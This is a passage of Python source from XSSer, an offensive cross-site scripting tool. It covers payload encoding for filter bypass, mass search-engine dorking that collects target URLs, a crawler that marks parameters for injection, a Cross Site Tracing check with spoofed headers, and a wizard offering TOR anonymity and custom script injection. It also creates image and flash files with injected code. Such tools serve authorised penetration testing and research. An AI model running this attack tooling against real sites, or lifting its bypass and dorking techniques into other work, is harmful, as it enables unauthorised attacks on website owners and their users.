  1942. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1943. self.report("\n" +"="*45)
  1944. else:
  1945. for key, value in self.final_hashes.items():
  1946. if "XSA" in value:
  1947. method = "xsa"
  1948. hashing = key
  1949. elif "XSR" in value:
  1950. method = "xsr"
  1951. hashing = key
  1952. elif "COO" in value:
  1953. method = "coo"
  1954. hashing = key
  1955. else:
  1956. method = "url"
  1957. hashing = key
  1958. if self.options.Str:
  1959. payload_string = payload["payload"].replace("PAYLOAD", key)
  1960. hashed_payload = self.encoding_permutations(payload_string)
  1961. hashed_payload = hashed_payload.replace(",", "%2C")
  1962. if str(hashed_payload) in str(dest_url):
  1963. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1964. elif self.options.Mix:
  1965. payload_string = payload["payload"].replace("PAYLOAD", key)
  1966. hashed_payload = self.encoding_permutations(payload_string)
  1967. hashed_payload=urllib.parse.quote(hashed_payload)
  1968. if str(hashed_payload) in str(dest_url):
  1969. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1970. elif self.options.Dec:
  1971. payload_string = payload["payload"].replace("PAYLOAD", key)
  1972. hashed_payload = self.encoding_permutations(payload_string)
  1973. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1974. if str(hashed_payload) in str(dest_url):
  1975. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1976. elif self.options.Hex:
  1977. payload_string = payload["payload"].replace("PAYLOAD", key)
  1978. hashed_payload = self.encoding_permutations(payload_string)
  1979. hashed_payload = hashed_payload.replace("%", "%25")
  1980. if str(hashed_payload) in str(dest_url):
  1981. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1982. elif self.options.Hes:
  1983. payload_string = payload["payload"].replace("PAYLOAD", key)
  1984. hashed_payload = self.encoding_permutations(payload_string)
  1985. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1986. hashed_payload = hashed_payload.replace(";", "%3B")
  1987. if str(hashed_payload) in str(dest_url):
  1988. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1989. else:
  1990. if self.options.Cem:
  1991. enc_perm = options.Cem.split(",")
  1992. payload_string = payload["payload"].replace("PAYLOAD", key)
  1993. for e in enc_perm:
  1994. hashed_payload = self.encoding_permutations(payload_string)
  1995. if str(e) == "Str":
  1996. hashed_payload = hashed_payload.replace(",", "%2C")
  1997. if e == "Mix":
  1998. hashed_payload=urllib.parse.quote(hashed_payload)
  1999. if e == "Dec":
  2000. hashed_payload = hashed_payload.replace("&#", "%26%23")
  2001. if e == "Hex":
  2002. hashed_payload = hashed_payload.replace("%", "%25")
  2003. if e == "Hes":
  2004. hashed_payload = hashed_payload.replace("&#", "%26%23")
  2005. hashed_payload = hashed_payload.replace(";", "%3B")
  2006. if str(hashed_payload) in str(dest_url):
  2007. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  2008. else:
  2009. if str(key) in str(dest_url):
  2010. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  2011. else:
  2012. if key in current_hashes:
  2013. if method == "xsa":
  2014. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  2015. elif method == "xsr":
  2016. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  2017. elif method == "coo":
  2018. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  2019. self.report("\n" +"="*45)
  2020. if str(curl_handle.info()["http-code"]) == "404":
  2021. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  2022. elif str(curl_handle.info()["http-code"]) == "403":
  2023. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  2024. elif str(curl_handle.info()["http-code"]) == "400":
  2025. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  2026. elif str(curl_handle.info()["http-code"]) == "401":
  2027. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  2028. elif str(curl_handle.info()["http-code"]) == "407":
  2029. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  2030. elif str(curl_handle.info()["http-code"]) == "408":
  2031. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  2032. elif str(curl_handle.info()["http-code"]) == "500":
  2033. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  2034. elif str(curl_handle.info()["http-code"]) == "501":
  2035. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  2036. elif str(curl_handle.info()["http-code"]) == "502":
  2037. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  2038. elif str(curl_handle.info()["http-code"]) == "503":
  2039. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  2040. elif str(curl_handle.info()["http-code"]) == "504":
  2041. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  2042. elif str(curl_handle.info()["http-code"]) == "0":
  2043. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Wrong URL\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2044. else:
  2045. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  2046. if str(curl_handle.info()["http-code"]) == "404":
  2047. self.not_connection = self.not_connection + 1
  2048. elif str(curl_handle.info()["http-code"]) == "503":
  2049. self.forwarded_connection = self.forwarded_connection + 1
  2050. else:
  2051. self.other_connection = self.other_connection + 1
  2052. def check_positive(self, curl_handle, dest_url, payload, query_string):
  2053. """
  2054. Perform extra check for positives
  2055. """
  2056. body = curl_handle.body()
  2057. pass
  2058. def create_options(self, args=None):
  2059. """
  2060. Create options for OptionParser.
  2061. """
  2062. self.optionParser = XSSerOptions()
  2063. self.options = self.optionParser.get_options(args)
  2064. if not self.options:
  2065. return False
  2066. return self.options
  2067. def _get_attack_urls(self):
  2068. """
  2069. Process payload options and make up the payload list for the attack.
  2070. """
  2071. urls = []
  2072. options = self.options
  2073. p = self.optionParser
  2074. if options.imx:
  2075. self.create_fake_image(options.imx, options.script)
  2076. return []
  2077. if options.flash:
  2078. self.create_fake_flash(options.flash, options.script)
  2079. return []
  2080. if options.update:
  2081. self.report('='*75)
  2082. self.report(str(p.version))
  2083. self.report('='*75)
  2084. try:
  2085. print("\nTrying to update to the latest stable version...\n")
  2086. Updater()
  2087. except:
  2088. print("Not any .git repository found!\n")
  2089. print("="*30)
  2090. print("\nTo have working this feature, you should clone XSSer with:\n")
  2091. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  2092. print("\nAlso you can try this other mirror:\n")
  2093. print("$ git clone https://github.com/epsylon/xsser\n")
  2094. return []
  2095. if options.wizard: # processing wizard template
  2096. if self.user_template is not None:
  2097. self.options.statistics = True # detailed output
  2098. if self.user_template[0] == "DORKING": # mass-dorking
  2099. self.options.dork_file = True
  2100. self.options.dork_mass = True
  2101. elif "http" in self.user_template[0]: # from target url
  2102. self.options.url = self.user_template[0]
  2103. else: # from file
  2104. self.options.readfile = self.user_template[0]
  2105. if self.user_template[1] == "CRAWLER": # crawlering target
  2106. self.options.crawling = "10"
  2107. else: # manual payload (GET or POST)
  2108. if self.user_template_conntype == "GET":
  2109. self.options.getdata = self.user_template[1]
  2110. else:
  2111. self.options.postdata = self.user_template[1]
  2112. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  2113. self.options.ignoreproxy = True
  2114. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2115. self.options.referer = "127.0.0.1" # spoof referer
  2116. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  2117. self.options.ignoreproxy = True
  2118. else: # using proxy + spoofing
  2119. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2120. self.options.referer = "127.0.0.1" # spoof referer
  2121. if self.user_template[2] is not None:
  2122. self.options.proxy = self.user_template[2]
  2123. else:
  2124. self.options.ignoreproxy = True
  2125. if self.user_template[3] == "Not using encoders":
  2126. pass
  2127. elif self.user_template[3] == "Hex": # Hexadecimal
  2128. self.options.Hex = True
  2129. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  2130. self.options.Str = True
  2131. self.options.Une = True
  2132. else: # Character encoding mutations
  2133. self.options.Cem = self.user_template[3]
  2134. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  2135. self.options.finalpayload = "<script>alert('XSS');</script>"
  2136. else:
  2137. if self.user_template[4] is not None: # Inject user script
  2138. self.options.finalpayload = self.user_template[4]
  2139. else: # not final injection
  2140. pass
  2141. else: # exit
  2142. return
  2143. if options.target: # miau!
  2144. self.report('='*75)
  2145. self.report(str(p.version))
  2146. self.report('='*75)
  2147. self.report("Testing [Full XSS audit]... ;-)")
  2148. self.report('='*75)
  2149. self.report("\n[Info] The following actions will be performed at the end:\n")
  2150. self.report(" 1- Output with detailed statistics\n")
  2151. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  2152. self.options.crawling = "99999" # set max num of urls to crawl
  2153. self.options.crawler_width = "5" # set max num of deeping levels
  2154. self.options.statistics = True # detailed output
  2155. self.options.timeout = "60" # timeout
  2156. self.options.retries = "2" # retries
  2157. self.options.delay = "5" # delay
  2158. self.options.threads = "10" # threads
  2159. self.options.followred = True # follow redirs
  2160. self.options.nohead = False # HEAD check
  2161. self.options.reversecheck = True # try to establish a reverse connection
  2162. self.options.fuzz = True # autofuzzing
  2163. self.options.coo = True # COO
  2164. self.options.xsa = True # XSA
  2165. self.options.xsr = True # XSR
  2166. self.options.dcp = True # DCP
  2167. self.options.dom = True # DOM
  2168. self.options.inducedcode = True # Induced
  2169. self.options.fileoutput = True # Important: export results to file (.raw)
  2170. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  2171. self.check_trace() # XST
  2172. urls = [options.target]
  2173. if options.url:
  2174. self.report('='*75)
  2175. self.report(str(p.version))
  2176. self.report('='*75)
  2177. if self.options.crawling:
  2178. self.report("Testing [XSS from CRAWLER]...")
  2179. else:
  2180. self.report("Testing [XSS from URL]...")
  2181. self.report('='*75)
  2182. urls = [options.url]
  2183. elif options.readfile:
  2184. self.report('='*75)
  2185. self.report(str(p.version))
  2186. self.report('='*75)
  2187. self.report("Testing [XSS from FILE]...")
  2188. self.report('='*75)
  2189. try:
  2190. f = open(options.readfile)
  2191. urls = f.readlines()
  2192. urls = [ line.replace('\n','') for line in urls ]
  2193. f.close()
  2194. except:
  2195. import os.path
  2196. if os.path.exists(options.readfile) == True:
  2197. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  2198. else:
  2199. self.report('\nCannot found file: ', options.readfile, "\n")
  2200. elif options.dork: # dork a query
  2201. self.report('='*75)
  2202. self.report(str(p.version))
  2203. self.report('='*75)
  2204. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2205. self.report('='*75)
  2206. if options.dork_mass: # massive dorkering
  2207. for e in self.search_engines:
  2208. try:
  2209. dorker = Dorker(e)
  2210. urls = dorker.dork(options.dork)
  2211. i = 0
  2212. for u in urls: # replace original parameter for injection keyword (XSS)
  2213. p_uri = urlparse(u)
  2214. uri = p_uri.netloc
  2215. path = p_uri.path
  2216. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2217. for key, value in target_params.items(): # parse params to apply keywords
  2218. for v in value:
  2219. target_params[key] = 'XSS'
  2220. target_url_params = urllib.parse.urlencode(target_params)
  2221. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2222. urls[i] = u
  2223. i = i + 1
  2224. except Exception as e:
  2225. for reporter in self._reporters:
  2226. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2227. else:
  2228. if urls is not None:
  2229. for url in urls:
  2230. for reporter in self._reporters:
  2231. reporter.add_link(dorker.search_url, url)
  2232. else:
  2233. if not options.dork_engine:
  2234. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2235. dorker = Dorker(options.dork_engine)
  2236. try:
  2237. urls = dorker.dork(options.dork)
  2238. i = 0
  2239. for u in urls: # replace original parameter for injection keyword (XSS)
  2240. p_uri = urlparse(u)
  2241. uri = p_uri.netloc
  2242. path = p_uri.path
  2243. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2244. for key, value in target_params.items(): # parse params to apply keywords
  2245. for v in value:
  2246. target_params[key] = 'XSS'
  2247. target_url_params = urllib.parse.urlencode(target_params)
  2248. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2249. urls[i] = u
  2250. i = i + 1
  2251. except Exception as e:
  2252. for reporter in self._reporters:
  2253. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2254. else:
  2255. if urls is not None:
  2256. for url in urls:
  2257. for reporter in self._reporters:
  2258. reporter.add_link(dorker.search_url, url)
  2259. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2260. self.report('='*75)
  2261. self.report(str(p.version))
  2262. self.report('='*75)
  2263. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2264. self.report('='*75)
  2265. try:
  2266. f = open('core/fuzzing/dorks.txt')
  2267. dorks = f.readlines()
  2268. dorks = [ dork.replace('\n','') for dork in dorks ]
  2269. f.close()
  2270. if not dorks:
  2271. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2272. return
  2273. except:
  2274. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2275. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2276. return
  2277. else:
  2278. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2279. return
  2280. if not options.dork_engine:
  2281. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2282. if options.dork_mass: # massive dorkering
  2283. for e in self.search_engines:
  2284. try:
  2285. dorker = Dorker(e)
  2286. for dork in dorks:
  2287. urls = dorker.dork(dork)
  2288. i = 0
  2289. for u in urls: # replace original parameter for injection keyword (XSS)
  2290. p_uri = urlparse(u)
  2291. uri = p_uri.netloc
  2292. path = p_uri.path
  2293. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2294. for key, value in target_params.items(): # parse params to apply keywords
  2295. for v in value:
  2296. target_params[key] = 'XSS'
  2297. target_url_params = urllib.parse.urlencode(target_params)
  2298. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2299. urls[i] = u
  2300. i = i + 1
  2301. except Exception as e:
  2302. for reporter in self._reporters:
  2303. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2304. else:
  2305. if urls is not None:
  2306. for url in urls:
  2307. for reporter in self._reporters:
  2308. reporter.add_link(dorker.search_url, url)
  2309. else:
  2310. dorker = Dorker(options.dork_engine)
  2311. try:
  2312. for dork in dorks:
  2313. urls = dorker.dork(dork)
  2314. i = 0
  2315. for u in urls: # replace original parameter for injection keyword (XSS)
  2316. p_uri = urlparse(u)
  2317. uri = p_uri.netloc
  2318. path = p_uri.path
  2319. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2320. for key, value in target_params.items(): # parse params to apply keywords
  2321. for v in value:
  2322. target_params[key] = 'XSS'
  2323. target_url_params = urllib.parse.urlencode(target_params)
  2324. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2325. urls[i] = u
  2326. i = i + 1
  2327. except Exception as e:
  2328. for reporter in self._reporters:
  2329. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2330. else:
  2331. if urls is not None:
  2332. for url in urls:
  2333. for reporter in self._reporters:
  2334. reporter.add_link(dorker.search_url, url)
  2335. if options.crawling: # crawlering target(s)
  2336. nthreads = options.threads
  2337. self.crawled_urls = list(urls)
  2338. all_crawled = []
  2339. try:
  2340. self.options.crawling = int(self.options.crawling)
  2341. except:
  2342. self.options.crawling = 50
  2343. if self.options.crawler_width == None:
  2344. self.options.crawler_width = 2 # default crawlering-width
  2345. else:
  2346. try:
  2347. self.options.crawler_width = int(self.options.crawler_width)
  2348. except:
  2349. self.options.crawler_width = 2 # default crawlering-width
  2350. if self.options.crawler_local == None:
  2351. self.options.crawler_local = False # default crawlering to LOCAL
  2352. for url in set(urls):
  2353. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
  2354. crawler = Crawler(self, Curl, all_crawled,
  2355. self.pool)
  2356. crawler.set_reporter(self)
  2357. # now wait for all results to arrive
  2358. while urls:
  2359. self.run_crawl(crawler, urls.pop(), options)
  2360. while not self._landing:
  2361. for reporter in self._reporters:
  2362. reporter.report_state('broad scanning')
  2363. try:
  2364. self.pool.poll()
  2365. except NoResultsPending:
  2366. crawler.cancel()
  2367. break
  2368. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2369. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2370. crawler.cancel()
  2371. break
  2372. time.sleep(0.1)
  2373. # re-parse crawled urls from main
  2374. parsed_crawled_urls = []
  2375. for u in self.crawled_urls:
  2376. if "XSS" in u:
  2377. parsed_crawled_urls.append(u)
  2378. else:
  2379. pass
  2380. self.crawled_urls = parsed_crawled_urls
  2381. # report parsed crawled urls
  2382. self.report("\n" + "-"*25)
  2383. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2384. if self.options.verbose:
  2385. self.report("")
  2386. for u in self.crawled_urls:
  2387. if '/XSS' in u:
  2388. u = u.replace("/XSS", "")
  2389. print(" - " + str(u))
  2390. if len(self.crawled_urls) > 0:
  2391. self.report("")
  2392. else:
  2393. self.report("-"*25)
  2394. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Wrong URL\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2395. return self.crawled_urls
  2396. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2397. return urls
  2398. def run_crawl(self, crawler, url, options):
  2399. def _cb(request, result):
  2400. pass
  2401. def _error_cb(request, error):
  2402. for reporter in self._reporters:
  2403. reporter.mosquito_crashed(url, str(error[0]))
  2404. if DEBUG == True:
  2405. traceback.print_tb(error[2])
  2406. def crawler_main(args):
  2407. return crawler.crawl(*args)
  2408. crawler.crawl(url, int(options.crawler_width),
  2409. int(options.crawling),options.crawler_local)
  2410. def poll_workers(self):
  2411. try:
  2412. self.pool.poll()
  2413. except NoResultsPending:
  2414. pass
  2415. def try_running(self, func, error, args=[]):
  2416. """
  2417. Try running a function and print some error if it fails and exists with
  2418. a fatal error.
  2419. """
  2420. try:
  2421. return func(*args)
  2422. except Exception as e:
  2423. self.report(error)
  2424. if DEBUG == True:
  2425. traceback.print_exc()
  2426. def check_trace(self):
  2427. """
  2428. Check for Cross Site Tracing (XST) vulnerability:
  2429. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2430. 2) check data sent on reply
  2431. """
  2432. agents = [] # user-agents
  2433. try:
  2434. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2435. except:
  2436. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2437. for line in f:
  2438. agents.append(line)
  2439. agent = random.choice(agents).strip() # set random user-agent
  2440. referer = '127.0.0.1'
  2441. import subprocess, shlex
  2442. self.report('='*75)
  2443. self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
  2444. if self.options.xst:
  2445. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  2446. if self.options.target:
  2447. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  2448. line1 = xst.stdout.readline()
  2449. if self.options.verbose:
  2450. print("-"*25 + "\n")
  2451. while True:
  2452. line = xst.stdout.readline()
  2453. if line != '':
  2454. print(line.rstrip())
  2455. else:
  2456. break
  2457. self.report("")
  2458. self.report('-'*50+"\n")
  2459. if "200 OK" in line1.rstrip():
  2460. print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
  2461. else:
  2462. print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
  2463. if self.options.target:
  2464. self.report('='*75)
  2465. def start_wizard(self):
  2466. """
  2467. Start Wizard Helper
  2468. """
  2469. #step 0: Menu
  2470. ans1=True
  2471. ans2=True
  2472. ans3=True
  2473. ans4=True
  2474. ans5=True
  2475. ans6=True
  2476. #step 1: Where
  2477. while ans1:
  2478. print("""\nA)- Where are your targets?\n
  2479. [1]- I want to enter the url of my target directly.
  2480. [2]- I want to enter a list of targets from a .txt file.
  2481. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2482. [e]- Exit/Quit/Abort.
  2483. """)
  2484. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2485. if ans1 == "1": # from url
  2486. url = input("Target url (ex: http(s)://target.com): ")
  2487. if url.startswith("http"):
  2488. ans1 = None
  2489. else:
  2490. print("\n[Error] Your url is not valid!. Try again!")
  2491. pass
  2492. elif ans1 == "2": # from file
  2493. url = input("Path to file (ex: 'targets_list.txt'): ")
  2494. if url == None:
  2495. print("\n[Error] Your are not providing a valid file. Try again!")
  2496. pass
  2497. else:
  2498. ans1 = None
  2499. elif ans1 == "3": # dorking
  2500. url = "DORKING"
  2501. ans1 = None
  2502. elif (ans1 == "e" or ans1 == "E"):
  2503. print("Closing wizard...")
  2504. ans1=None
  2505. ans2=None
  2506. ans3=None
  2507. ans4=None
  2508. ans5=None
  2509. ans6=None
  2510. else:
  2511. print("\nNot valid choice. Try again!")
  2512. #step 2: How
  2513. while ans2:
  2514. print(22*"-")
  2515. print("""\nB)- How do you want to connect?\n
  2516. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2517. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2518. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2519. *[4]- I don't know how to connect... Just do it! :-)
  2520. [e]- Exit/Quit/Abort.
  2521. """)
  2522. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2523. if ans2 == "1": # using GET
  2524. payload = input("GET payload (ex: '/menu.php?q='): ")
  2525. if payload == None:
  2526. print("\n[Error] Your are providing an empty payload. Try again!")
  2527. pass
  2528. else:
  2529. self.user_template_conntype = "GET"
  2530. ans2 = None
  2531. elif ans2 == "2": # using POST
  2532. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2533. if payload == None:
  2534. print("\n[Error] Your are providing an empty payload. Try again!")
  2535. pass
  2536. else:
  2537. self.user_template_conntype = "POST"
  2538. ans2 = None
  2539. elif ans2 == "3": # crawlering
  2540. payload = "CRAWLER"
  2541. ans2 = None
  2542. elif ans2 == "4": # crawlering
  2543. payload = "CRAWLER"
  2544. ans2 = None
  2545. elif (ans2 == "e" or ans2 == "E"):
  2546. print("Closing wizard...")
  2547. ans2=None
  2548. ans3=None
  2549. ans4=None
  2550. ans5=None
  2551. ans6=None
  2552. else:
  2553. print("\nNot valid choice. Try again!")
  2554. #step 3: Proxy
  2555. while ans3:
  2556. print(22*"-")
  2557. print("""\nC)- Do you want to be 'anonymous'?\n
  2558. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2559. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2560. *[3]- Yes. But I haven't any proxy. :-)
  2561. [4]- No. It's not a problem for me to connect directly to the target(s).
  2562. [e]- Exit/Quit.
  2563. """)
  2564. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2565. if ans3 == "1": # using PROXY + spoofing
  2566. proxy = input("Enter proxy [http(s)://server:port]: ")
  2567. ans3 = None
  2568. elif ans3 == "2": # using TOR + spoofing
  2569. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2570. proxy = 'http://127.0.0.1:8118'
  2571. ans3 = None
  2572. elif ans3 == "3": # only spoofing
  2573. proxy = 'Proxy: No - Spoofing: Yes'
  2574. ans3 = None
  2575. elif ans3 == "4": # no spoofing
  2576. proxy = 'Proxy: No - Spoofing: No'
  2577. ans3 = None
  2578. elif (ans3 == "e" or ans3 == "E"):
  2579. print("Closing wizard...")
  2580. ans3=None
  2581. ans4=None
  2582. ans5=None
  2583. ans6=None
  2584. else:
  2585. print("\nNot valid choice. Try again!")
  2586. #step 4: Bypasser(s)
  2587. while ans4:
  2588. print(22*"-")
  2589. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2590. [1]- I want to inject XSS scripts without any encoding.
  2591. [2]- Try to inject code using 'Hexadecimal'.
  2592. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2593. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2594. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2595. [e]- Exit/Quit.
  2596. """)
  2597. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2598. if ans4 == "1": # no encode
  2599. enc = "Not using encoders"
  2600. ans4 = None
  2601. elif ans4 == "2": # enc: Hex
  2602. enc = 'Hex'
  2603. ans4 = None
  2604. elif ans4 == "3": # enc: Str+Une
  2605. enc = 'Str+Une'
  2606. ans4 = None
  2607. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2608. enc = "Une,Str,Hex"
  2609. ans4 = None
  2610. elif ans4 == "5": # enc: no encode
  2611. enc = 'Not using encoders'
  2612. ans4 = None
  2613. elif (ans4 == "e" or ans4 == "E"):
  2614. print("Closing wizard...")
  2615. ans4=None
  2616. ans5=None
  2617. ans6=None
  2618. else:
  2619. print("\nNot valid choice. Try again!")
  2620. #step 5: Exploiting
  2621. while ans5:
  2622. print(22*"-")
  2623. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2624. [1]- I want to inject a classic "Alert" message box.
  2625. [2]- I want to inject my own scripts.
  2626. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2627. [e]- Exit/Quit.
  2628. """)
  2629. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2630. if ans5 == "1": # alertbox
  2631. script = 'Alertbox'
  2632. ans5 = None
  2633. elif ans5 == "2": # manual
  2634. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2635. if script == None:
  2636. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2637. pass
  2638. else:
  2639. ans5 = None
  2640. elif ans5 == "3": # no exploit
  2641. script = 'Not exploiting code'
  2642. ans5 = None
  2643. elif (ans5 == "e" or ans5 == "E"):
  2644. print("Closing wizard...")
  2645. ans5=None
  2646. ans6=None
  2647. else:
  2648. print("\nNot valid choice. Try again!")
  2649. #step 6: Final
  2650. while ans6:
  2651. print(22*"-")
  2652. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2653. print("A)- Target:", url)
  2654. print("B)- Payload:", payload)
  2655. print("C)- Privacy:", proxy)
  2656. print("D)- Bypasser(s):", enc)
  2657. print("E)- Final:", script)
  2658. print("""
  2659. [Y]- Yes. Accept it and start testing!.
  2660. [N]- No. Abort it?.
  2661. """)
  2662. ans6 = input("Your choice: [Y] or [N]\n")
  2663. if (ans6 == "y" or ans6 == "Y"): # YES
  2664. start = 'YES'
  2665. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2666. ans6 = None
  2667. elif (ans6 == "n" or ans6 == "N"): # NO
  2668. start = 'NO'
  2669. print("Aborted!. Closing wizard...")
  2670. ans6 = None
  2671. else:
  2672. print("\nNot valid choice. Try again!")
  2673. if url and payload and proxy and enc and script:
  2674. return url, payload, proxy, enc, script
  2675. else:
  2676. return
  2677. def create_fake_image(self, filename, payload):
  2678. """
  2679. Create -fake- image with code injected
  2680. """
  2681. options = self.options
  2682. filename = options.imx
  2683. payload = options.script
  2684. image_xss_injections = ImageInjections()
  2685. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2686. return image_injections
  2687. def create_fake_flash(self, filename, payload):
  2688. """
  2689. Create -fake- flash movie (.swf) with code injected
  2690. """
  2691. options = self.options
  2692. filename = options.flash
  2693. payload = options.script
  2694. flash_xss_injections = FlashInjections()
  2695. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2696. return flash_injections
  2697. def create_gtk_interface(self):
  2698. """
  2699. Create GTK Interface
  2700. """
  2701. options = self.options
  2702. from core.gtkcontroller import Controller, reactor
  2703. uifile = "xsser.ui"
  2704. controller = Controller(uifile, self)
  2705. self._reporters.append(controller)
  2706. if reactor:
  2707. reactor.run()
  2708. else:
  2709. from gi.repository import Gtk
  2710. Gtk.main()
  2711. return controller
  2712. def run(self, opts=None):
  2713. """
  2714. Run xsser.
  2715. """
  2716. self.token_arrived_flag = False # used for --reverse-check
  2717. self.success_arrived_flag = False # used for --reverse-check
  2718. self.token_arrived_hash = None # used for --reverse-check
  2719. self.token_arrived_hashes = [] # used for --reverse-check
  2720. for reporter in self._reporters:
  2721. reporter.start_attack()
  2722. if opts:
  2723. options = self.create_options(opts)
  2724. self.set_options(options)
  2725. if not self.hub:
  2726. self.hub = HubThread(self)
  2727. self.hub.start()
  2728. options = self.options
  2729. if options:
  2730. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
